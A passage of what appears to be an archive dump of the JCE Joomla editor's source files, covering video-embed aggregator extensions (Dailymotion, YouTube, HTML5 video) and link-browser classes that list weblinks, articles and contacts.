                    <input type="text" name="dailymotion_attributes_name[]" />
                </div>
                <label class="uk-form-label uk-width-1-10"><?php echo Text::_('WF_LABEL_VALUE'); ?></label>
                <div class="uk-form-controls uk-width-4-10">
                    <input type="text" name="dailymotion_attributes_value[]" />
                </div>
            </div>
            <div class="uk-form-controls uk-width-1-10 uk-margin-small-left">
                <button class="uk-button uk-button-link uk-repeatable-create" aria-label="<?php echo Text::_('WF_LABEL_ADD'); ?>" title="<?php echo Text::_('WF_LABEL_ADD'); ?>"><i class="uk-icon-plus"></i></button>
                <button class="uk-button uk-button-link uk-repeatable-delete" aria-label="<?php echo Text::_('WF_LABEL_REMOVE'); ?>" title="<?php echo Text::_('WF_LABEL_REMOVE'); ?>"><i class="uk-icon-trash"></i></button>
            </div>
        </div>
    </div>
</div>com_jce/editor/extensions/aggregator/dailymotion/tmpl/index.html000060400000000054152453734450021262 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/dailymotion/index.html000060400000000054152453734450020306 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/dailymotion/js/dailymotion.js000060400000004537152453734450021625 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("dailymotion",{params:{width:480,height:270,autoPlay:!1},props:{autoPlay:0,start:0},setup:function(){$("#dailymotion_autoPlay").prop("checked",this.params.autoPlay),$("#dailymotion_player_size").on("change",function(){var v=parseInt(this.value,10);$("#dailymotion_player_size_custom").toggleClass("uk-hidden",!!this.value),v&&($("#width").val(v),$("#height").val(Math.round(9*v/16)))}),$("#dailymotion_player_size_custom").on("change",function(){var v=parseInt(this.value,10);v&&($("#width").val(v),$("#height").val(Math.round(16*v/9)))})},getTitle:function(){return this.title||this.name},getType:function(){return"iframe"},isSupported:function(v){return"object"==typeof v&&(v=v.src||v.data||""),!!/dai\.?ly(motion)?(\.com)?/.test(v)&&"dailymotion"},getValues:function(src){var self=this,data={},args={},id="";src.indexOf("=")!==-1&&$.extend(args,Wf.String.query(src)),$("input[id], select[id]","#dailymotion_options").each(function(){var k=$(this).attr("id"),v=$(this).val();k=k.substr(k.indexOf("_")+1),$(this).is(":checkbox")&&(v=$(this).is(":checked")?1:0),k.indexOf("player_size")===-1&&self.props[k]!==v&&""!==v&&(args[k]=v)});var m=src.match(/dai\.?ly(motion\.com)?\/(embed)?\/?(swf|video)?\/?([a-z0-9]+)_?/);m&&(id=m.pop()),src="https://www.dailymotion.com/embed/video/"+id;var query=$.param(args);return query&&(src=src+(/\?/.test(src)?"&":"?")+query),data.src=src,$.extend(data,{frameborder:0,allowfullscreen:"allowfullscreen"}),data},setValues:function(data){var self=this,src=data.src||data.data||"",id="";if(!src)return data;var query=Wf.String.query(src);$.each(query,function(key,val){return self.props[key]==val||void(data["dailymotion_"+key]=val)}),src=src.replace(/&amp;/g,"&");var m=src.match(/dai\.?ly(motion\.com)?\/(embed)?\/?(swf|video)?\/?([a-z0-9]+)_?/);return m&&(id=m.pop()),data.src="https://www.dailymotion.com/embed/video/"+id,data},getAttributes:function(src){var args={},data=this.setValues({src:src})||{};return $.each(data,function(k,v){"src"!=k&&(args["dailymotion_"+k]=v)}),$.extend(args,{src:data.src||src,width:this.params.width,height:this.params.height}),args},setAttributes:function(){},onSelectFile:function(){},onInsert:function(){}});com_jce/editor/extensions/aggregator/dailymotion/js/index.html000060400000000054152453734450020722 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/dailymotion/css/dailymotion.css000060400000000144152453734450022143 0ustar00#dailymotion_player_size{width:150px!important}#dailymotion_player_size_custom{width:65px!important}com_jce/editor/extensions/aggregator/dailymotion/css/index.html000060400000000054152453734450021076 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/youtube.php000060400000005446152453734450016200 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAggregatorExtension_Youtube extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('youtube', 'extensions/aggregator/youtube/js');
    }

    public function isEnabled()
    {
        $plugin = WFEditorPlugin::getInstance();

        return $plugin->checkAccess('aggregator.youtube.enable', 1);
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        $defaults = array(
            'width' => $plugin->getParam('aggregator.youtube.width', 560),
            'height' => $plugin->getParam('aggregator.youtube.height', 315),

            'controls' => (int) $plugin->getParam('aggregator.youtube.controls', 1),
            'loop' => (int) $plugin->getParam('aggregator.youtube.loop', 0),
            'autoplay' => (int) $plugin->getParam('aggregator.youtube.autoplay', 0),
            'rel' => (int) $plugin->getParam('aggregator.youtube.related', 1),
            'modestbranding' => (int) $plugin->getParam('aggregator.youtube.modestbranding', 0),
            'privacy' => (int) $plugin->getParam('aggregator.youtube.privacy', 0),
        );

        $attributes = $plugin->getParam('aggregator.youtube.attributes', '');

        if ($attributes) {            
            $defaults['attributes'] = $this->getCustomDefaultAttributes($attributes);
        }

        return $defaults;
    }

    public function getEmbedData($data)
    {
        $params = $this->getParams();

        $default = array(
            'width' => 560,
            'height' => 315,
            'controls' => 1,
            'loop' => 0,
            'autoplay' => 0,
            'rel' => 1,
            'modestbranding' => 0,
            'privacy' => 0,
        );

        $options = array();

        foreach ($params as $name => $value) {
            if (isset($default[$name]) && $value === $default[$name]) {
                continue;
            }

            if ($name == 'width' || $name == 'height' || $name == 'attributes') {
                $data[$name] = $value;
                continue;
            }

            $options[$name] = $value;
        }

        if (!empty($options)) {
            $data['query'] = http_build_query($options);
        }

        return $data;
    }
}
com_jce/editor/extensions/aggregator/video.php000060400000004422152453734450015603 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFAggregatorExtension_Video extends WFAggregatorExtension
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct(array(
            'format' => 'video',
        ));
    }

    public function display()
    {
        $document = WFDocument::getInstance();
        $document->addScript('video', 'extensions/aggregator/video/js');
    }

    public function isEnabled()
    {
        return true;
    }

    public function getParams()
    {
        $plugin = WFEditorPlugin::getInstance();

        $defaults = array(
            'width' => $plugin->getParam('aggregator.video.width', ''),
            'height' => $plugin->getParam('aggregator.video.height', ''),

            'controls' => (int) $plugin->getParam('aggregator.video.controls', 1),
            'loop' => (int) $plugin->getParam('aggregator.video.loop', 0),
            'autoplay' => (int) $plugin->getParam('aggregator.video.autoplay', 0),
            'muted' => (int) $plugin->getParam('aggregator.video.mute', 0)
        );

        $attributes = $plugin->getParam('aggregator.video.attributes', '');

        if ($attributes) {            
            $defaults['attributes'] = $this->getCustomDefaultAttributes($attributes);
        }

        return $defaults;
    }

    public function getEmbedData($data, $url)
    {
        $params = $this->getParams();

        $default = array(
            'controls' => 1,
            'loop' => 0,
            'autoplay' => 0,
            'muted' => 0,
        );

        foreach ($params as $name => $value) {
            if ($default[$name] === $value) {
                continue;
            }

            if ($name == 'attributes') {
                $data[$name] = $value;
                continue;
            }

            if ($value !== '') {
                $data[$name] = $value;
            }
        }

        $data['src'] = $url;

        return $data;
    }
}
com_jce/editor/extensions/aggregator/video.xml000060400000004001152453734450015605 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_AGGREGATOR_VIDEO_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_VIDEO_DESC</description>
	<files>
		<filename>video.php</filename>
	</files>
	<fields name="video">
		<fieldset name="aggregator.video">

			<field name="width" type="number" default="" class="input-small" label="WF_LABEL_WIDTH" description="WF_AGGREGATOR_VIDEO_WIDTH_DESC" />
			<field name="height" type="number" default="" class="input-small" label="WF_LABEL_HEIGHT" description="WF_AGGREGATOR_VIDEO_HEIGHT_DESC" />

			<field name="controls" type="yesno" default="1"  label="WF_AGGREGATOR_VIDEO_CONTROLS" description="WF_AGGREGATOR_VIDEO_CONTROLS_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="loop" type="yesno" default="0"  label="WF_AGGREGATOR_VIDEO_LOOP" description="WF_AGGREGATOR_VIDEO_LOOP_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="autoplay" type="yesno" default="0"  label="WF_AGGREGATOR_VIDEO_AUTOPLAY" description="WF_AGGREGATOR_VIDEO_AUTOPLAY_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="mute" type="yesno" default="0"  label="WF_AGGREGATOR_VIDEO_MUTE" description="WF_AGGREGATOR_VIDEO_MUTE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />

		</fieldset>
	</fields>
	<plugins></plugins>
</extension>
com_jce/editor/extensions/aggregator/youtube.xml000060400000005356152453734450016211 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
	<name>WF_AGGREGATOR_YOUTUBE_TITLE</name>
	<version>2.9.99.2</version>
	<creationDate>22-04-2026</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_AGGREGATOR_YOUTUBE_DESC</description>
	<files>
		<filename>youtube.php</filename>
		<folder>youtube</folder>
	</files>
	<fields name="youtube">
		<fieldset name="aggregator.youtube">
			<field name="enable" type="yesno" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="width" type="number" default="560" class="input-small" label="WF_LABEL_WIDTH" description="WF_AGGREGATOR_YOUTUBE_WIDTH_DESC" />
			<field name="height" type="number" default="315" class="input-small" label="WF_LABEL_HEIGHT" description="WF_AGGREGATOR_YOUTUBE_HEIGHT_DESC" />

			<field name="controls" type="yesno" default="1"  label="WF_AGGREGATOR_YOUTUBE_CONTROLS" description="WF_AGGREGATOR_YOUTUBE_CONTROLS_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="related" type="yesno" default="1"  label="WF_AGGREGATOR_YOUTUBE_RELATED" description="WF_AGGREGATOR_YOUTUBE_RELATED_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="loop" type="yesno" default="1"  label="WF_AGGREGATOR_YOUTUBE_LOOP" description="WF_AGGREGATOR_YOUTUBE_LOOP_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="autoplay" type="yesno" default="0"  label="WF_AGGREGATOR_YOUTUBE_AUTOPLAY" description="WF_AGGREGATOR_YOUTUBE_AUTOPLAY_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="privacy" type="yesno" default="0"  label="WF_AGGREGATOR_YOUTUBE_PRIVACY" description="WF_AGGREGATOR_YOUTUBE_PRIVACY_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="modestbranding" type="yesno" default="0"  label="WF_AGGREGATOR_YOUTUBE_MODESTBRANDING" description="WF_AGGREGATOR_YOUTUBE_MODESTBRANDING_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field name="attributes" type="keyvalue" default="" label="WF_PARAM_CUSTOM_ATTRIBUTES" description="WF_PARAM_CUSTOM_ATTRIBUTES_DESC" boolean="true" />
		</fieldset>
	</fields>
	<plugins></plugins>
</extension>
com_jce/editor/extensions/aggregator/video/index.html000060400000000054152453734450017064 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/video/js/index.html000060400000000054152453734450017500 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/aggregator/video/js/video.js000060400000001016152453734450017146 0ustar00/* jce - 2.9.20 | 2022-02-10 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2022 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
WFAggregator.add("video",{params:{},props:{autoplay:0,loop:0,controls:1,mute:0},setup:function(){$.each(this.params,function(k,v){$("#video_"+k).val(v).filter(":checkbox, :radio").prop("checked",!!v)})},getTitle:function(){return this.title||this.name},getType:function(){return"video"},isSupported:function(v){return!1}});com_jce/editor/extensions/links/index.html000060400000000054152453734450014754 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/links/joomlalinks/index.html000060400000000054152453734450017276 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/links/joomlalinks/weblinks.php000060400000021210152453734450017625 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;

class JoomlalinksWeblinks extends CMSObject
{
    private $option = 'com_weblinks';

    /**
     * Returns a reference to a editor object.
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($options = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($options);
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->option;
    }

    public function getList()
    {
        return '<li id="index.php?option=com_weblinks&view=categories" class="folder menu nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . Text::_('WF_LINKS_JOOMLALINKS_WEBLINKS') . '</span></a></div></li>';
    }

    public function getLinks($args)
    {
        $wf = WFEditorPlugin::getInstance();
        $items = array();

        $version = new Joomla\CMS\Version();

        if (!$version->isCompatible('4.0')) {
            require_once JPATH_SITE . '/includes/application.php';
        }

        require_once JPATH_SITE . '/components/com_weblinks/helpers/route.php';

        $language = '';

        switch ($args->view) {
            // Get all WebLink categories
            default:
            case 'categories':
                $categories = WFLinkBrowser::getCategory('com_weblinks', 1, $wf->getParam('links.joomlalinks.category_alias', 1));

                foreach ($categories as $category) {
                    $url = '';

                    if (method_exists('WeblinksHelperRoute', 'getCategoryRoute')) {
                        // language
                        if (isset($category->language)) {
                            $language = $category->language;
                        }

                        $id = WeblinksHelperRoute::getCategoryRoute($category->id, $language);

                        if (strpos($id, 'index.php?Itemid=') !== false) {
                            $url = $id;
                            $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id;
                        }
                    } else {
                        $itemid = WFLinkBrowser::getItemId('com_weblinks', array('categories' => null, 'category' => $category->id));
                        $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id . $itemid;
                    }

                    $items[] = array(
                        'url' => self::route($url),
                        'id' => $id,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder weblink',
                    );
                }
                break;
            // Get all links in the category
            case 'category':
                $categories = WFLinkBrowser::getCategory('com_weblinks', $args->id, $wf->getParam('links.joomlalinks.category_alias', 1));

                if (count($categories)) {
                    foreach ($categories as $category) {
                        $children = WFLinkBrowser::getCategory('com_weblinks', $category->id, $wf->getParam('links.joomlalinks.category_alias', 1));

                        $url = '';

                        if ($children) {
                            $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id;
                        } else {
                            if (method_exists('WeblinksHelperRoute', 'getCategoryRoute')) {
                                // language
                                if (isset($category->language)) {
                                    $language = $category->language;
                                }

                                $id = WeblinksHelperRoute::getCategoryRoute($category->id, $language);

                                if (strpos($id, 'index.php?Itemid=') !== false) {
                                    $url = $id;
                                    $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id;
                                }
                            } else {
                                $itemid = WFLinkBrowser::getItemId('com_weblinks', array('categories' => null, 'category' => $category->id));
                                $id = 'index.php?option=com_weblinks&view=category&id=' . $category->id . $itemid;
                            }
                        }

                        $items[] = array(
                            'url' => self::route($url),
                            'id' => $id,
                            'name' => $category->title . ' / ' . $category->alias,
                            'class' => 'folder weblink',
                        );
                    }
                }

                $weblinks = self::getWeblinks($args->id);

                foreach ($weblinks as $weblink) {
                    // language

                    if (isset($weblink->language)) {
                        $language = $weblink->language;
                    }

                    $id = WeblinksHelperRoute::getWeblinkRoute($weblink->slug, $weblink->catslug, $language);

                    // Joomla 4/5/6
                    if ($version->isCompatible('4.0')) {
                        $id .= '&task=weblink.go';
                    }

                    $items[] = array(
                        'id' => self::route($id),
                        'name' => $weblink->title . ' / ' . $weblink->alias,
                        'class' => 'file',
                    );
                }
                break;
        }

        return $items;
    }

    public static function getWeblinks($id)
    {
        $wf = WFEditorPlugin::getInstance();

        $db = Factory::getDBO();
        $user = Factory::getUser();

        $query = $db->getQuery(true);

        $section = Text::_('Web Links');

        $query = $db->getQuery(true);

        $case = '';

        if ((int) $wf->getParam('links.joomlalinks.weblinks_alias', 0)) {
            //sqlsrv changes
            $case_when1 = ' CASE WHEN ';
            $case_when1 .= $query->charLength('a.alias', '!=', '0');
            $case_when1 .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $a_id = $query->castAsChar('a.id');
            } else {
                $a_id = $query->castAs('CHAR', 'a.id');
            }

            $case_when1 .= $query->concatenate(array($a_id, 'a.alias'), ':');
            $case_when1 .= ' ELSE ';
            $case_when1 .= $a_id . ' END as slug';

            $case_when2 = ' CASE WHEN ';
            $case_when2 .= $query->charLength('b.alias', '!=', '0');
            $case_when2 .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $c_id = $query->castAsChar('b.id');
            } else {
                $c_id = $query->castAs('CHAR', 'b.id');
            }

            $case_when2 .= $query->concatenate(array($c_id, 'b.alias'), ':');
            $case_when2 .= ' ELSE ';
            $case_when2 .= $c_id . ' END as catslug';

            $case .= ',' . $case_when1 . ',' . $case_when2;
        }

        $query->select('a.id AS slug, b.id AS catslug, a.title AS title, a.description AS text, a.url, a.alias, a.language' . $case);

        $query->from('#__weblinks AS a');
        $query->innerJoin('#__categories AS b ON b.id = ' . (int) $id);
        $query->where('a.catid = ' . (int) $id);

        $query->where('a.state = 1');

        if (!$user->authorise('core.admin')) {
            $query->where('b.access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')');
        }

        $query->where('b.published = 1');
        $query->order('a.title');

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ($wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkHelper::route($url);
        }

        // remove Itemid if "home"
        $url = WFLinkHelper::removeHomeItemId($url);

        // remove Itemid
        if ((bool) $wf->getParam('links.joomlalinks.itemid', 1) === false) {
            $url = WFLinkHelper::removeItemId($url);
        }

        return $url;
    }
}
com_jce/editor/extensions/links/joomlalinks/content.php000060400000026216152453734450017474 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\RouteHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Table\Table;

class JoomlalinksContent extends CMSObject
{
    private $option = 'com_content';

    /**
     * Returns a reference to a editor object.
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($options = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($options);
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->option;
    }

    public function getList()
    {
        return '<li id="index.php?option=com_content" class="folder content nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . Text::_('WF_LINKS_JOOMLALINKS_CONTENT') . '</span></a></div></li>';
    }

    public function getLinks($args)
    {
        $items = array();
        $view = isset($args->view) ? $args->view : '';

        $language = '';

        // create a new RouteHelper instance
        $router = new RouteHelper();

        switch ($view) {
            // get top-level categories
            default:
                $articles = array();

                if (!isset($args->id)) {
                    $args->id = 1;
                }

                $categories = WFLinkBrowser::getCategory('com_content', $args->id);

                // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles)
                $articles = self::getArticles($args->id);

                foreach ($categories as $category) {
                    $url = '';

                    if (isset($category->language)) {
                        $language = $category->language;
                    }

                    $id = RouteHelper::getCategoryRoute($category->id, $language, 'com_content');

                    $url = $id;

                    if (strpos($id, 'index.php?Itemid=') !== false) {
                        $url = self::getMenuLink($id);
                        $id = 'index.php?option=com_content&view=category&id=' . $category->id;
                    }

                    $items[] = array(
                        'url' => self::route($url),
                        'id' => $id,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder content',
                    );
                }

                if (!empty($articles)) {
                    // output article links
                    foreach ($articles as $article) {
                        if (isset($article->language)) {
                            $language = $article->language;
                        }

                        $id = $router->getRoute($article->slug, 'com_content.article', '', $language, $article->catslug);
                        $id = self::route($id);

                        $items[] = array(
                            'id' => $id,
                            'name' => $article->title . ' / ' . $article->alias,
                            'class' => 'file',
                        );

                        $anchors = self::getAnchors($article->content);

                        foreach ($anchors as $anchor) {
                            $items[] = array(
                                'id' => $id . '#' . $anchor,
                                'name' => '#' . $anchor,
                                'class' => 'file anchor',
                            );
                        }
                    }
                }

                break;
            // get articles and / or sub-categories
            case 'category':
                // get any articles in this category (in Joomla! 1.6+ a category can contain sub-categories and articles)
                $articles = self::getArticles($args->id);

                // get sub-categories
                $categories = WFLinkBrowser::getCategory('com_content', $args->id);

                if (count($categories)) {
                    foreach ($categories as $category) {
                        // check for sub-categories
                        $sub = WFLinkBrowser::getCategory('com_content', $category->id);

                        // language
                        if (isset($category->language)) {
                            $language = $category->language;
                        }

                        $id = RouteHelper::getCategoryRoute($category->id, $language, 'com_content');
                        $url = $id;

                        // get sub-categories
                        if (count($sub)) {
                            $url = $id;
                            $id = 'index.php?option=com_content&view=section&id=' . $category->id;
                            // no sub-categories, get articles for category
                        } else {
                            // no com_content, might be link like index.php?ItemId=1
                            if (strpos($id, 'index.php?Itemid=') !== false) {
                                $url = $id;
                                $id = 'index.php?option=com_content&view=category&id=' . $category->id;
                            }
                        }

                        if (strpos($url, 'index.php?Itemid=') !== false) {
                            $url = self::getMenuLink($url);
                        }

                        $items[] = array(
                            'url' => self::route($url),
                            'id' => $id,
                            'name' => $category->title . ' / ' . $category->alias,
                            'class' => 'folder content',
                        );
                    }
                }

                // output article links
                foreach ($articles as $article) {
                    // language
                    if (isset($article->language)) {
                        $language = $article->language;
                    }

                    $id = $router->getRoute($article->slug, 'com_content.article', '', $language, $article->catslug);
                    $id = self::route($id);

                    $items[] = array(
                        'id' => $id,
                        'name' => $article->title . ' / ' . $article->alias,
                        'class' => 'file' . ($article->state ? '' : ' unpublished uk-text-muted'),
                    );

                    $anchors = self::getAnchors($article->content);

                    foreach ($anchors as $anchor) {
                        $items[] = array(
                            'id' => $id . '#' . $anchor,
                            'name' => '#' . $anchor,
                            'class' => 'file anchor',
                        );
                    }
                }

                break;
        }

        return $items;
    }

    private static function getMenuLink($url)
    {
        $wf = WFEditorPlugin::getInstance();

        // resolve the url from the menu link
        if ($wf->getParam('links.joomlalinks.article_resolve_alias', 1)) {
            // get itemid
            preg_match('#Itemid=([\d]+)#', $url, $matches);
            // get link from menu
            if (count($matches) > 1) {
                $menu = Table::getInstance('menu');
                $menu->load($matches[1]);

                if ($menu->link) {
                    return $menu->link . '&Itemid=' . $menu->id;
                }
            }
        }

        return $url;
    }

    private function getArticles($id)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();

        $wf = WFEditorPlugin::getInstance();

        $query = $db->getQuery(true);

        $case = '';

        if ($wf->getParam('links.joomlalinks.article_alias', 0)) {
            //sqlsrv changes
            $case_when1 = ' CASE WHEN ';
            $case_when1 .= $query->charLength('a.alias', '!=', '0');
            $case_when1 .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $a_id = $query->castAsChar('a.id');
            } else {
                $a_id = $query->castAs('CHAR', 'a.id');
            }

            $case_when1 .= $query->concatenate(array($a_id, 'a.alias'), ':');
            $case_when1 .= ' ELSE ';
            $case_when1 .= $a_id . ' END as slug';

            $case_when2 = ' CASE WHEN ';
            $case_when2 .= $query->charLength('b.alias', '!=', '0');
            $case_when2 .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $c_id = $query->castAsChar('b.id');
            } else {
                $c_id = $query->castAs('CHAR', 'b.id');
            }

            $case_when2 .= $query->concatenate(array($c_id, 'b.alias'), ':');
            $case_when2 .= ' ELSE ';
            $case_when2 .= $c_id . ' END as catslug';

            $case = ',' . $case_when1 . ',' . $case_when2;
        }

        $groups = implode(',', $user->getAuthorisedViewLevels());

        $query->select('a.id AS slug, b.id AS catslug, a.alias, a.state, a.title AS title, a.access, ' . $query->concatenate(array('a.introtext', 'a.fulltext')) . ' AS content, a.language' . $case);
        $query->from('#__content AS a');
        $query->innerJoin('#__categories AS b ON b.id = ' . (int) $id);

        $query->where('a.catid = ' . (int) $id);

        if ($wf->getParam('links.joomlalinks.article_unpublished', 0) == 1) {
            $query->where('(a.state = 0 OR a.state = 1)');
        } else {
            $query->where('a.state = 1');
        }

        if (!$user->authorise('core.admin')) {
            $query->where('a.access IN (' . $groups . ')');
            $query->where('b.access IN (' . $groups . ')');
        }

        $query->order('a.title');

        $db->setQuery($query, 0);

        return $db->loadObjectList();
    }

    private static function getAnchors($content)
    {
        preg_match_all('#<a([^>]+)(name|id)="([a-z]+[\w\-\:\.]*)"([^>]*)>#i', $content, $matches, PREG_SET_ORDER);

        $anchors = array();

        if (!empty($matches)) {
            foreach ($matches as $match) {
                if (strpos($match[0], 'href') === false) {
                    $anchors[] = $match[3];
                }
            }
        }

        return $anchors;
    }

    private static function route($url)
    {
        $wf = WFEditorPlugin::getInstance();

        if ((bool) $wf->getParam('links.joomlalinks.sef_url', 0)) {
            $url = WFLinkHelper::route($url);
        }

        // remove Itemid if "home"
        $url = WFLinkHelper::removeHomeItemId($url);

        // remove Itemid if set
        if ((bool) $wf->getParam('links.joomlalinks.itemid', 1) === false) {
            $url = WFLinkHelper::removeItemId($url);
        }

        return $url;
    }
}
com_jce/editor/extensions/links/joomlalinks/contact.php000060400000012325152453734450017451 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Helper\RouteHelper;

class JoomlalinksContact extends CMSObject
{
    private $option = 'com_contact';

    /**
     * Returns a reference to a editor object.
     *
     * @return JCE The editor object
     *
     * @since    1.5
     */
    public static function getInstance($options = array())
    {
        static $instance;

        if (!is_object($instance)) {
            $instance = new self($options);
        }

        return $instance;
    }

    public function getOption()
    {
        return $this->option;
    }

    public function getList()
    {
        return '<li id="index.php?option=com_contact" class="folder contact nolink"><div class="uk-tree-row"><a href="#"><span class="uk-tree-icon"></span><span class="uk-tree-text">' . Text::_('WF_LINKS_JOOMLALINKS_CONTACTS') . '</span></a></div></li>';
    }

    public function getLinks($args)
    {
        $items = array();
        $view = isset($args->view) ? $args->view : '';

        $language = '';

        // create a new RouteHelper instance
        $router = new RouteHelper();

        switch ($view) {
            default:
                $categories = WFLinkBrowser::getCategory('com_contact', 1, $this->get('category_alias', 1));

                foreach ($categories as $category) {
                    // language
                    if (isset($category->language)) {
                        $language = $category->language;
                    }

                    $url = RouteHelper::getCategoryRoute($category->id, $language, 'com_contact');

                    // convert to SEF
                    $url = self::route($url);

                    $items[] = array(
                        'id' => 'index.php?option=com_contact&view=category&id=' . $category->id,
                        'url' => $url,
                        'name' => $category->title . ' / ' . $category->alias,
                        'class' => 'folder contact',
                    );
                }
                break;
            case 'category':
